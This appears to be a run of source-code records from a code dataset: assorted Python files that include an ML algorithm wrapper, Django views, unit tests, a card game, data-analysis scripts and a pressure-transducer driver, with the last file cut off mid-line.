\"\"\"Logistic regression with hard predictions.\"\"\"\n\n def __init__(self, C: Optional[float] = None):\n self.C = LogisticRegression().C if C is None else C\n super().__init__(name=f\"Logistic Regression (C={self.C})\", is_fairness_algo=False)\n\n @implements(InAlgorithm)\n def run(self, train: DataTuple, test: TestTuple) -> Prediction:\n clf = LogisticRegression(solver=\"liblinear\", random_state=888, C=self.C, multi_class=\"auto\")\n clf.fit(train.x, train.y.to_numpy().ravel())\n return Prediction(hard=pd.Series(clf.predict(test.x)))\n\n\nclass LRProb(InAlgorithm):\n \"\"\"Logistic regression with soft output.\"\"\"\n\n def __init__(self, C: Optional[int] = None):\n self.C = LogisticRegression().C if C is None else C\n super().__init__(name=f\"Logistic Regression Prob (C={self.C})\", is_fairness_algo=False)\n\n @implements(InAlgorithm)\n def run(self, train: DataTuple, test: TestTuple) -> SoftPrediction:\n clf = LogisticRegression(solver=\"liblinear\", random_state=888, C=self.C, multi_class=\"auto\")\n clf.fit(train.x, train.y.to_numpy().ravel())\n return SoftPrediction(soft=pd.Series(clf.predict_proba(test.x)[:, 1]))\n\n\nclass LRCV(InAlgorithm):\n \"\"\"Kind of a cheap hack for now, but gives a proper cross-valudeted LR.\"\"\"\n\n def __init__(self, n_splits: int = 3, seed: int = 888) -> None:\n super().__init__(name=\"LRCV\", is_fairness_algo=False)\n self.n_splits = n_splits\n self.seed = seed\n\n @implements(InAlgorithm)\n def run(self, train: DataTuple, test: TestTuple) -> Prediction:\n random_state = np.random.RandomState(seed=self.seed)\n folder = KFold(n_splits=self.n_splits, shuffle=True, random_state=random_state)\n clf = LogisticRegressionCV(\n cv=folder, n_jobs=-1, random_state=random_state, solver=\"liblinear\", multi_class=\"auto\"\n )\n clf.fit(train.x, train.y.to_numpy().ravel())\n return Prediction(hard=pd.Series(clf.predict(test.x)), info=dict(C=clf.C_[0]))\n","sub_path":"ethicml/algorithms/inprocess/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"118275966","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nfrom .services import get_coloring_book\nfrom .services import get_all_books\nfrom .services import like_book\nfrom .services import insert_comment\nfrom .services import get_comments\n\n\ndef coloring_books(request, book_id):\n book = get_coloring_book(book_id)\n comments = get_comments(book_id)\n context = {\n 'book': book,\n 'comments': comments\n }\n\n return render(request, 'coloring_book_view.html', context)\n\n\ndef home(request):\n book = get_coloring_book(3)\n context = {\n 'book': book\n }\n\n return render(request, 'home.html', context)\n\n\ndef purchase(request, book_id):\n book = get_coloring_book(book_id)\n context = {\n 'book': book\n }\n return render(request, 'purchase.html', context)\n\n# The browse view will show all the books in the system\ndef browse(request):\n books = get_all_books()\n context = {\n 'books': books\n }\n return render(request, 'browse.html', context)\n\ndef like(request):\n book_id = request.POST.get('bookId')\n current_likes = like_book(book_id)\n return JsonResponse({\n 'likes': current_likes\n })\n\ndef comment(request):\n user = request.POST.get('name')\n comment = request.POST.get('comment')\n bookId = request.POST.get('bookId')\n comment = insert_comment(user, comment, bookId)\n return JsonResponse({\n 'comment': comment\n })","sub_path":"my_lil_jstor/my_lil_jstor/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"185531277","text":"\nimport pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport matplotlib.pyplot as plt\n\nx = 2 - 3 * np.random.normal(0, 1, 100)\ny = 2 * (x ** 1.5) + np.random.normal(-100, 100, 100)\ndf = pd.DataFrame({'X':x, 'y': y})\ndf = df.fillna(0)\nplt.scatter(x, y)\nplt.show()\n\n\ndf = df.sort_values(by=['X'])\nx_train, y_train = df[['X']], df[['y']]\n\n# create a linear regression model and fit the data\nmodel = LinearRegression()\nmodel.fit(x_train, y_train)\ny_pred = model.predict(x_train)\n# printing metrics of the linear model\nprint('The RMSE of the linear regression model is {}'.format(mean_squared_error(y_train, y_pred)))\nprint('The R2 score of the linear regression model is {}'.format(r2_score(y_train, y_pred)))\n\nplt.scatter(x_train, y_train, s=10)\nplt.plot(x_train, y_pred, color='r')\nplt.show()\n\n# transform the features to higher degree\nfor degree in range(2,10):\n polynomial_features = PolynomialFeatures(degree=degree)\n x_poly_train = polynomial_features.fit_transform(x_train)\n\n # train a polynomial regression model with higher degree features\n polynomial_model = LinearRegression()\n polynomial_model.fit(x_poly_train, y_train)\n y_pred = polynomial_model.predict(x_poly_train)\n\n print('The RMSE of the polynomial regression of degree {} is {}'.format(degree,mean_squared_error(y_train, y_pred)))\n print('The R2 score of the polynomial regression of degree {} is {}'.format(degree, r2_score(y_train, y_pred)))\n\n plt.scatter(x_train, y_train)\n plt.plot(x_train, y_pred, color='r')\n plt.show()\n\n\ndecision_tree_model = DecisionTreeRegressor(max_depth = 10, min_samples_split = 3)\ndecision_tree_model.fit(x_train, y_train)\n\ny_pred = decision_tree_model.predict(x_train)\n\nprint('The RMSE of the Decision Tree regression {}'.format(mean_squared_error(y_train, y_pred)))\nprint('The R2 score of the DecisionTree regression {}'.format(r2_score(y_train, y_pred)))\n\n","sub_path":"DecisionTreeRegression.py","file_name":"DecisionTreeRegression.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"18319480","text":"# -*- coding: utf-8 -*-\nimport unittest\nimport sqlite3\n\nimport models\nimport repositories\n\n\nclass DBTestCase(unittest.TestCase):\n def setUp(self):\n import decimal\n\n def adapt_decimal(val):\n return float(str(val))\n sqlite3.register_adapter(decimal.Decimal, adapt_decimal)\n\n def convert_decimal(s):\n return decimal.Decimal(s)\n sqlite3.register_converter('decimal', convert_decimal)\n\n self.conn = sqlite3.connect('desafio1_test.db',\n detect_types=sqlite3.PARSE_DECLTYPES)\n repositories.init_db(self.conn)\n\n\nclass TestMerchantRepository(DBTestCase):\n\n def test_create(self):\n merchant = models.Merchant(name='Jack', address='123 Fake St')\n self.assertIsNone(merchant.id)\n merchant = repositories.MerchantRepository(self.conn).create(merchant)\n self.assertIsNotNone(merchant.id)\n\n\nclass TestUploadRepository(DBTestCase):\n\n def test_create(self):\n upload = models.Upload()\n self.assertIsNone(upload.id)\n upload = repositories.UploadRepository(self.conn).create(upload)\n self.assertIsNotNone(upload.id)\n\n def test_save(self):\n upload = models.Upload()\n upload = repositories.UploadRepository(self.conn).create(upload)\n upload.total = 34.5\n self.assertTrue(repositories.UploadRepository(self.conn).save(upload))\n\n\nclass TestSaleRepository(DBTestCase):\n\n def test_create(self):\n merchant = models.Merchant(id=1)\n upload = models.Upload(id=1)\n sale = models.Sale(\n upload=upload,\n merchant=merchant,\n purchaser_name='Snake Plissken',\n description='R$20 Sneakers for R$5',\n unit_price=1.25,\n count=1\n )\n self.assertIsNone(sale.id)\n sale = repositories.SaleRepository(self.conn).create(sale)\n self.assertIsNotNone(sale.id)\n","sub_path":"desafio_standard_library/repositories_test.py","file_name":"repositories_test.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"244099387","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nPatch for aiologger.logger.Logger\n\naiologger (https://github.com/B2W-BIT/aiologger) implements 'async/await' syntax\nfor logging. But there is a problem with aiologger working in Windows.\n\nThe stdout and stderr streams in aiologger are connected as pipes. But in\nWindows it doesn't work.\n\nIn the DSLogger we use the modified stream handler DSAsyncStreamHandler.\n\nAnd there is a method for changing of logging level yet.\n\n\"\"\"\n\nimport logging\nimport sys\nfrom asyncio import AbstractEventLoop\nfrom typing import Optional, Union\n\nfrom aiologger.filters import StdoutFilter\nfrom aiologger.logger import Logger\n\nfrom directory_scan.dsaiologger.handlers import DSAsyncStreamHandler\n\nLoggingLevel = Union[int, str]\nOptionalLoggingFormatter = Optional[logging.Formatter]\nOptionalAbstractEventLoop = Optional[AbstractEventLoop]\n\n\nclass DSLogger(Logger):\n \"\"\"Patch for class aiologger.logger.Logger.\n\n There is patched method `DSLogger.with_default_handlers` (use modified class\n DSAsyncStreamHandler). And method `DSLogger.set_level` is added.\n \"\"\"\n\n def __init__(\n self,\n *,\n name: str = \"dslogger\",\n level: LoggingLevel = logging.NOTSET,\n loop: OptionalAbstractEventLoop = None\n ) -> None:\n \"\"\"Init logger.\"\"\"\n super().__init__(name=name, level=level, loop=loop)\n self._stdout_handler: DSAsyncStreamHandler = None\n self._stderr_handler: DSAsyncStreamHandler = None\n\n @classmethod\n def with_default_handlers(\n cls,\n *,\n name: str = \"dslogger\",\n level: LoggingLevel = logging.NOTSET,\n formatter: OptionalLoggingFormatter = None,\n loop: OptionalAbstractEventLoop = None,\n **kwargs,\n ):\n \"\"\"Create new logger.\"\"\"\n self = cls(name=name, level=level, loop=loop, **kwargs)\n self._stdout_handler = DSAsyncStreamHandler(\n stream=sys.stdout,\n level=level,\n formatter=formatter,\n filter=StdoutFilter()\n )\n self._stderr_handler = DSAsyncStreamHandler(\n stream=sys.stderr,\n level=logging.WARNING,\n formatter=formatter\n )\n self.addHandler(self._stdout_handler)\n self.addHandler(self._stderr_handler)\n return self\n\n async def set_level(self, level):\n \"\"\"Set logging level\"\"\"\n if self._stdout_handler.writer is not None:\n await self._stdout_handler.flush()\n self._cache.clear()\n super().setLevel(level)\n self._stdout_handler.setLevel(level)\n","sub_path":"directory_scan/dsaiologger/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"248225774","text":"#dokończyć bo nie działą :c\n\nimport random\n\nclass Card:\n def __init__(self, rank, suit):\n self.rank = rank\n self.suit = suit\n\n def __repr__(self):\n return (f\"{self.rank} {self.suit}\")\n\nclass Deck:\n def __init__(self, deckOfCards):\n self.deckOfCards = deckOfCards\n# O wiele wygodniej jest uznać waleta, królową, króla i Asa jako 11,12,13 i 14, w prawdziwiej gierce te karty reprezentował by obraz\n def BuildDeck(self):\n for rank in [2,3,4,5,6,7,8,9,10,11,12,13,14]:\n for suit in [\"Kier\", \"Karo\", \"Pik\", \"Trefl\"]:\n card = Card(rank, suit)\n self.deckOfCards.append(card)\n return self.deckOfCards\n\n def ShuffleCards(self):\n random.shuffle(self.deckOfCards)\n return self.deckOfCards\n\n def SortCards(self):\n self.deckOfCards.sort(key=lambda Card: Card.rank)\n print(self.deckOfCards)\n\n def AddCardToDeck(self):\n print(\"Doaj nową kartę: \")\n rank = int(input(\"Podaj wartość [2 - 14]: \"))\n if (rank >= 2 and rank <= 14):\n suit = input(\"Podaj kolor [Kier, Karo, Pik, Trefl]\") #chyba mówiło się kolor nwm xD\n if (suit.upper() == \"KIER\" or suit.upper() == \"KARO\" or suit.upper() == \"PIK\" or suit.upper() == \"TREFL\"):\n newCard = Card(rank, suit)\n self.deckOfCards.append(newCard)\n print(\"Dodano kartę!\")\n else:\n print(\"Nie ma takiego koloru WTF!\")\n else:\n print(\"Nie ma takiej wartości WTF!\")\n print(self.deckOfCards)\n\n def RemoveFromDeck(self):\n print(\"Usuń kartę: \")\n rank = int(input(\"Podaj wartość [2 - 14]: \"))\n suit = input(\"Podaj kolor [Kier, Karo, Pik, Trefl]: \")\n lookingForThisCard = Card(rank, suit)\n for card in self.deckOfCards:\n if (lookingForThisCard.rank == card.rank) and (lookingForThisCard.suit == card.suit):\n self.deckOfCards.remove(card)\n print(\"Usunięto kartę! \")\n print(self.deckOfCards)\n else:\n continue\n\n def ShowDeck(self):\n print(self.deckOfCards)\n\nclass BiggerLowerGame(Deck):\n\n def __init__(self, deckOfCards,):\n super().__init__(deckOfCards)\n self.score = 0\n\n def CardFromDeckRandomizer(self):\n rank = random.choice([2,3,4,5,6,7,8,9,10,11,12,13,14])\n suit = random.choice([\"Kier\", \"Karo\", \"Pik\", \"Trefl\"])\n randomCard = Card(rank, suit)\n return randomCard\n\n def MyCardRandomizer(self):\n rank = random.choice([2,3,4,5,6,7,8,9,10,11,12,13,14])\n suit = random.choice([\"Kier\", \"Karo\", \"Pik\", \"Trefl\"])\n myCard = Card(rank, suit)\n return myCard\n\n def Game(self):\n print(\"Witaj w grze karcianej: WIĘKSZY / mniejszy\")\n myCard = BiggerLowerGame.MyCardRandomizer(self)\n randomCard = BiggerLowerGame.CardFromDeckRandomizer(self)\n print(randomCard)\n while True:\n print(f\"Twój obecny wynik wynosi:{self.score} \")\n print(f\"Twoja obecna karta to: {myCard}\")\n print(\"WIEKSZA czy MNIEJSZA ?\")\n answer = input()\n if answer.upper() == \"W\" and myCard.rank > randomCard.rank:\n print(\"Prawda!\")\n if answer.upper() == \"W\" and myCard < randomCard.rank:\n print(\"Fałsz!\")\n if answer.upper() == \"L\" and myCard < randomCard.rank:\n print(\"Prawda!\")\n if answer.upper() == \"L\" and myCard > randomCard.rank:\n print(\"Fałsz!\")\n\n\n\n\nbiggerLowerGame = BiggerLowerGame([])\nbiggerLowerGame.Game()\n\n\n\n\n\n\n\n\n\n","sub_path":"Sem2/15 (5).py","file_name":"15 (5).py","file_ext":"py","file_size_in_byte":3679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"419007357","text":"\"\"\" Compiled: 2020-09-18 10:38:51 \"\"\"\n\n#__src_file__ = \"extensions/BankDebtWSODemoBundle/etc/FWSODemoUploadSpecifications.py\"\n\"\"\"-------------------------------------------------------------------------------------------------------\nMODULE\n FWSODemoUploadSpecifications - \n\n (c) Copyright 2015 SunGard FRONT ARENA. All rights reserved.\n\nDESCRIPTION\n User defined upload specifications unique for the demo bundle. \n\n i) WSO_COMPARISON_TYPES: Used to determine which XML file of a given \n WSO type to use in any second upload trial (facility/contract/trade)*. \n \n * For currency differences for facilities, use AssetBase since\n the currency denomination is fetched from the AssetBase XML.\n \n Example 1:\n # Use the XML file WSODemoTrade2XML in the second upload to look\n for trade discrepancies.\n \n WSO_COMPARISON_TYPES = ['Trade',]\n \n Example 2:\n # Use the XML files WSODemoTrade2XML and WSODemoAssetBase2XML in the second upload\n to look for trade and facility currency discrepancies (see attached footnote above).\n \n WSO_COMPARISON_TYPES = ['AssetBase', 'Trade',]\n \n ii) WSO_UPLOAD_SPECS: The upload specifications to use in each upload. Only override this \n list if you want to use your own upload specifications.\n \n \n-------------------------------------------------------------------------------------------------------\"\"\"\n\n'''The set of XML files to substitute in the second upload for comparison purposes.'''\nWSO_COMPARISON_TYPES = ['Trade',]\n\n''' The three partial uploads to be completed. '''\nWSO_UPLOAD_SPECS = ['WSO Upload Facility Template',\n 'WSO Upload Contract Template', \n 'WSO Upload Trade Template',] ","sub_path":"Extensions/_wso_bank_debt_demo_bundle_py/FPythonCode/FWSODemoUploadSpecifications.py","file_name":"FWSODemoUploadSpecifications.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"524369961","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2020 Kumagai group.\n\nimport pytest\nfrom pydefect.input_maker.add_interstitial import append_interstitial\nfrom pydefect.input_maker.supercell_info import Interstitial\nfrom pydefect.util.error_classes import NotPrimitiveError\nfrom pymatgen import Structure, Lattice\n\n\ndef test_add_interstitial(cubic_supercell_info_wo_int):\n primitive = Structure(Lattice.rhombohedral(7.071068, 60),\n species=[\"H\", \"He\"],\n coords=[[0.0]*3, [0.5]*3])\n new_supercell_info = append_interstitial(cubic_supercell_info_wo_int,\n primitive,\n [1/4, 1/4, 1/4])\n expected = Interstitial(frac_coords=[1/8, 1/8, 1/8],\n wyckoff_letter=\"d\",\n site_symmetry=\"-43m\")\n assert new_supercell_info.interstitials[0] == expected\n\n\ndef test_add_interstitial_not_primitive_error(cubic_supercell_info_wo_int):\n conventional_cell = Structure(Lattice.cubic(10),\n species=[\"H\"] * 4 + [\"He\"] * 4,\n coords=[[0.0, 0.0, 0.0],\n [0.5, 0.5, 0.0],\n [0.5, 0.0, 0.5],\n [0.0, 0.5, 0.5],\n\n [0.0, 0.0, 0.5],\n [0.0, 0.5, 0.0],\n [0.5, 0.0, 0.0],\n [0.5, 0.5, 0.5],\n ])\n with pytest.raises(NotPrimitiveError):\n append_interstitial(cubic_supercell_info_wo_int, conventional_cell,\n [1/4, 1/4, 1/4])\n\n","sub_path":"pydefect/tests/input_maker/test_add_interstitial.py","file_name":"test_add_interstitial.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"65549514","text":"import tensorflow as tf\nimport os\nimport glob\n\nIMAGE_SIZE = 17 # To be changed\nNUM_EXAMPLES_PER_EPOCH_FOR_TRAIN = 291\n\n\ndef read_espcn(filename_queue):\n class ESPCNRecord():\n pass\n result = ESPCNRecord()\n\n lr_bytes = 17 * 17\n hr_bytes = 9 * 9 * 4\n record_bytes = lr_bytes + hr_bytes\n\n reader = tf.FixedLengthRecordReader(record_bytes=record_bytes)\n result.key, value = reader.read(filename_queue)\n\n record_bytes = tf.decode_raw(value, tf.uint8)\n result.lr = tf.reshape(tf.slice(record_bytes, [0], [lr_bytes]), [17, 17, 1])\n result.hr = tf.reshape(tf.slice(record_bytes, [lr_bytes], [hr_bytes]), [9, 9, 4])\n\n return result\n\n\ndef _generate_image_batch(lr, hr, min_queue_examples, batch_size, shuffle=True):\n num_preprocess_threads = 16\n\n if shuffle:\n lr_batch, hr_batch = tf.train.shuffle_batch([lr, hr], batch_size=batch_size,\n num_threads=num_preprocess_threads,\n capacity=min_queue_examples + 3 * batch_size,\n min_after_dequeue=min_queue_examples)\n else:\n lr_batch, hr_batch = tf.train.batch([lr, hr], batch_size=batch_size,\n num_threads=num_preprocess_threads,\n capacity=min_queue_examples + 3 * batch_size)\n\n # lr_batch = tf.image.resize_bicubic(hr_batch, [IMAGE_SIZE/2, IMAGE_SIZE/2])\n # bicubic_batch = tf.image.resize_bicubic(lr_batch, [IMAGE_SIZE, IMAGE_SIZE])\n # hr_batch -= bicubic_batch\n # hr_batch = hr_batch[:, 8:IMAGE_SIZE-8, 8:IMAGE_SIZE-8, :]\n\n tf.summary.image('lr_batch', lr_batch)\n tf.summary.image('hr_batch', hr_batch)\n\n return lr_batch, hr_batch\n\n\ndef distorted_inputs(data_dir, batch_size):\n\n # filenames = glob.glob(data_dir + '/*.png')\n # for f in filenames:\n # if not tf.gfile.Exists(f):\n # raise ValueError('Failed to find file: ' + f)\n #\n # filename_queue = tf.train.string_input_producer(filenames)\n #\n # reader = tf.WholeFileReader()\n # key, value = reader.read(filename_queue)\n #\n # image = tf.image.decode_png(value, channels=1, dtype=tf.uint8)\n\n filename = [os.path.join(data_dir, 'data_batch.bin')]\n filename_queue = tf.train.string_input_producer(filename)\n\n read_input = read_espcn(filename_queue)\n lr = tf.cast(read_input.lr, tf.float32) / 255.0\n hr = tf.cast(read_input.hr, tf.float32) / 255.0\n\n height = IMAGE_SIZE\n width = IMAGE_SIZE\n\n # distorted_image = tf.random_crop(lr, [height, width, 1])\n\n # distorted_image = tf.image.random_brightness(distorted_image,\n # max_delta=63)\n # distorted_image = tf.image.random_contrast(distorted_image,\n # lower=0.2, upper=1.8)\n\n lr.set_shape([height, width, 1])\n hr.set_shape([9, 9, 4])\n\n min_fraction_of_examples_in_queue = 0.3\n min_queue_examples = int(NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN *\n min_fraction_of_examples_in_queue)\n\n print ('Filling queue with %d images before starting to train. '\n 'This will take a few seconds.' % min_queue_examples)\n\n return _generate_image_batch(lr, hr,\n min_queue_examples, batch_size,\n shuffle=True)\n","sub_path":"espcn_input.py","file_name":"espcn_input.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"448236451","text":"from PyQt4.QtCore import SIGNAL, QSettings\nfrom PyQt4.QtGui import QDialog, QFileDialog\nfrom gui.settings_dialog_ui import Ui_Dialog\n\n__author__ = 'charles'\n\n\nclass SettingsDialog(QDialog, Ui_Dialog):\n def __init__(self, parent=None):\n super(SettingsDialog, self).__init__(parent)\n self.setupUi(self)\n\n self.connect(self.btnViewerElipsis, SIGNAL(\"clicked()\"), self.on_btn_viewer_elipsis_clicked)\n self.connect(self, SIGNAL(\"accepted()\"), self.dialog_accepted)\n\n settings = QSettings()\n self.lePdfViewer.setText(settings.value('viewer/viewer', \"\"))\n\n def dialog_accepted(self):\n settings = QSettings()\n settings.setValue('viewer/viewer', self.lePdfViewer.text())\n settings.sync()\n print(\"syncing settings...\")\n\n def get_viewer(self):\n viewer = self.lePdfViewer.text()\n return viewer\n\n def on_btn_viewer_elipsis_clicked(self):\n file_name = QFileDialog.getOpenFileName(self, \"PDF Viewer\", '.')\n\n if file_name:\n print(file_name)\n self.lePdfViewer.setText(file_name)\n","sub_path":"settings_dialog.py","file_name":"settings_dialog.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"575306841","text":"# Stock Transaction Program (Homework 1)\n# Name: Jarron Bailey\n\nshares_purchased = 2000\npurchased_price = 40.00\nselling_price = 42.75\ncommission_percentage = .01 # Net should be higher since commission is lower\n\n# Total amount of money Joe paid for the stock\ntotal_purchased_price = purchased_price * shares_purchased\nprint('Total amount of money Joe paid for the stock: %.2f' %\n total_purchased_price)\n\n# The amount of comission Joe paid his broker when he bought the stock\ncommission1 = total_purchased_price * commission_percentage\nprint('The amount of comission Joe paid his broker when he bought the stock: %.2f' % commission1)\n\n# The amount for which Joe sold the stock\ntotal_selling_price = shares_purchased * selling_price\nprint('The amount for which Joe sold the stock: %.2f' % total_selling_price)\n\n# The amount of comission Joe paid his broker when he sold the stock\ncommission2 = total_selling_price * commission_percentage\nprint('The amount of comission Joe paid his broker when he bought the stock: %.2f' % commission2)\n\n# The amount Joe had left after broker was paid\ntotal_comission = commission1 + commission2\nnet_gains = total_selling_price - total_purchased_price - total_comission\nprint('Joe net gains: %.2f' % net_gains)\n","sub_path":"hw-01/Bailey_hw1.py","file_name":"Bailey_hw1.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"417923351","text":"import allure\nimport pytest\nfrom selenium import webdriver\n\nfrom tests.BaseTest import BaseTest\n\n\nclass TestAddExtrasToCart(BaseTest):\n\n @pytest.allure.severity(pytest.allure.severity_level.NORMAL)\n @allure.feature('Extras tests')\n @allure.story('Extras can be added to cart')\n def test_extras_can_be_added_to_cart(self):\n self.home_page.choose_moscow_in_popup()\n bouquet_page = self.home_page.go_to_bouquet_page()\n bouquet_page.add_extras(bouquet_page.myagkaya_igrushka_extras_checkbox)\n cart = bouquet_page.put_bouquet_into_cart()\n goods = []\n for item in cart.list_names_of_items_in_cart:\n goods.append(item.text)\n assert u'Мягкая игрушка,' in goods\n\n\nif __name__ == '__main__':\n pytest.main()\n","sub_path":"tests/test_Extras/test_AddExtrasToCart.py","file_name":"test_AddExtrasToCart.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"458937052","text":"class Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n unique = {}\n \"\"\"\n for i in range(len(nums)):\n if(nums[i] not in unique):\n unique[nums[i]] = i\n for i in range(len(nums)):\n look = target-nums[i]\n if(look in unique and unique[look]!=i):\n return[i, unique[look]]\n \"\"\"\n for i in range(len(nums)):\n if(target-nums[i] in unique):\n return [i, unique[target-nums[i]]]\n else:\n unique[nums[i]] = i\n","sub_path":"PythonLeets/twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"389200506","text":"import argparse\nimport os\n\nfrom androbot import models\nfrom androbot.actions import Actions\nfrom androbot.database import engine\nfrom androbot.types_ import Specialty\n\n\ndef load_questions(speciality: Specialty, filename: str, drop_questions: bool) -> None:\n \"\"\"\n Загружаем в базу данных вопросы из указанного csv файла.\n Указываем специальность для которой нужно загрузить вопросы\n Если указан параметр drop_questions - то удаляем старые\n вопросы перед загрузкой (если нет еще ответов - сработает)\n \"\"\"\n\n models.Base.metadata.create_all(bind=engine)\n\n with Actions() as act:\n\n if drop_questions:\n act.remove_questions(speciality.value)\n\n act.load_questions(specialty=speciality, file=filename)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"filename\", help=\"csv file with questions\", type=str)\n parser.add_argument(\n \"-s\",\n \"--speciality\",\n choices=[s.value for s in Specialty],\n default=Specialty.ANDROID,\n )\n parser.add_argument(\"-d\", \"--drop_questions\", help=\"drop questions before load\", action=\"store_true\")\n args = parser.parse_args()\n\n if not os.path.exists(args.filename):\n print(f\"File '{args.filename}' doesn't exist\")\n return\n\n speciality = Specialty(args.speciality)\n\n load_questions(speciality, args.filename, args.drop_questions)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"androbot/load_questions.py","file_name":"load_questions.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"595309267","text":"# -*- coding: utf-8 -*-\nimport sys\n''' pressure_model_base.py - This file is the child class for pressure transducer model 86 absolute pressure transducer.\n'''\n\nfrom transducers_framwork.transducers.a2d_dependencies.ADS1256_definitions import *\nfrom transducers_framwork.transducers.a2d_dependencies.pipyadc import ADS1256\nfrom .transducer import transducer\nimport time\n\n\nclass pressure_model_86(transducer):\n\n ##\n # @brief Base class that reads in voltage from the model 86 pressure transducer\n # @param m Initializes the m component of y = amp*m*x + b for the calibration curve\n # @param b Initializes the b component of y = amp*m*x + b for the calibration curve\n # @param amp Initializes the amp component of y = amp*m*x + b for the calibration curve\n # @param input_port Initializes the port number to the port in which data will be gathered\n def __init__(self, m=0, b=0, amp=1000, input_port=1):\n transducer.__init__(self)\n\n self.hasVoltageData = True\n self.hasUnitData = True\n self.ads = ADS1256()\n\n self.m = m\n self.b = b\n self.amp = amp\n\n if input_port == 1:\n EXT2 = POS_AIN2 | NEG_AINCOM\n EXT3 = POS_AIN3 | NEG_AINCOM\n self.CH_SEQUENCE = (EXT2, EXT3)\n\n if input_port == 2:\n EXT4 = POS_AIN4 | NEG_AINCOM\n EXT5 = POS_AIN5 | NEG_AINCOM\n self.CH_SEQUENCE = (EXT4, EXT5)\n\n if input_port == 3:\n EXT6 = POS_AIN6 | NEG_AINCOM\n EXT7 = POS_AIN7 | NEG_AINCOM\n self.CH_SEQUENCE = (EXT6, EXT7)\n\n ##\n # @brief Sets up a chanel to the a2d converter\n def setUpChanel(self):\n self.ads.cal_self()\n\n ##\n # @brief This function gathers data from the pressure transducer\n def set_data(self):\n raw_channels = self.ads.read_sequence(self.CH_SEQUENCE)\n self.voltageData = [i * self.ads.v_per_digit for i in raw_channels]\n # print(self.voltageData)\n\n ##\n # @brief This function returns the calculated pressure data given specific m, b, and amp variables\n # @return pressure Returns the calculated pressure\n def get_pressure(self):\n\n raw_channels = self.ads.read_sequence(self.CH_SEQUENCE)\n self.voltageData = [i * self.ads.v_per_digit for i in raw_channels]\n\n diff = (self.voltageData[0] - self.voltageData[1]) * self.amp\n # print(diff)\n pressure = self.m * diff + self.b\n return pressure\n","sub_path":"transducers_framework/transducers/pressure_model_86.py","file_name":"pressure_model_86.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"63961726","text":"# --------------\n# Import packages\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import mode\n \n\n\n\n# code starts here\nbank = pd.read_csv(path)\ncategorical_var = bank.select_dtypes(include='object')\nprint(categorical_var)\n\nnumerical_var = bank.select_dtypes(include='number')\nprint(numerical_var)\n\n\n\n\n# code ends here\n\n\n# --------------\n# code starts here\nbanks = bank.drop(labels='Loan_ID',axis=1)\nnull = banks.isnull().sum()\nprint(null)\n\n#Calculating Bank mode to fill NaN values to banks\nbank_mode = bank.mode().iloc[0]\n\n#filling NaN values\n\nbanks.fillna(bank_mode, inplace=True)\nprint(banks)\n#code ends here\n\n\n# --------------\n# Code starts here\navg_loan_amount = pd.pivot_table(banks,values='LoanAmount',index=['Gender','Married','Self_Employed'],aggfunc='mean')\n\n\n# code ends here\n\n\n\n# --------------\n# code starts here\n# code for loan aprroved for self employed\nloan_approved_se = banks.loc[(banks[\"Self_Employed\"]==\"Yes\") & (banks[\"Loan_Status\"]==\"Y\"),[\"Loan_Status\"]].count()\nprint(loan_approved_se)\n# code for loan approved for non self employed\nloan_approved_nse = banks.loc[(banks[\"Self_Employed\"]==\"No\") & (banks[\"Loan_Status\"]==\"Y\"),[\"Loan_Status\"]].count()\nprint(loan_approved_nse)\n\n# percentage of loan approved for self employed\npercentage_se = (loan_approved_se * 100/614)\npercentage_se = percentage_se[0]\nprint(percentage_se)\n\n#percentage of loan for non self employed\npercentage_nse = (loan_approved_nse * 100 / 614)\npercentage_nse=percentage_nse[0]\n#print percentage of loan for non self employed\nprint (percentage_nse)\n\n\n# code ends here\n\n\n# --------------\n# code starts here\nloan_term = banks['Loan_Amount_Term'].apply(lambda x: 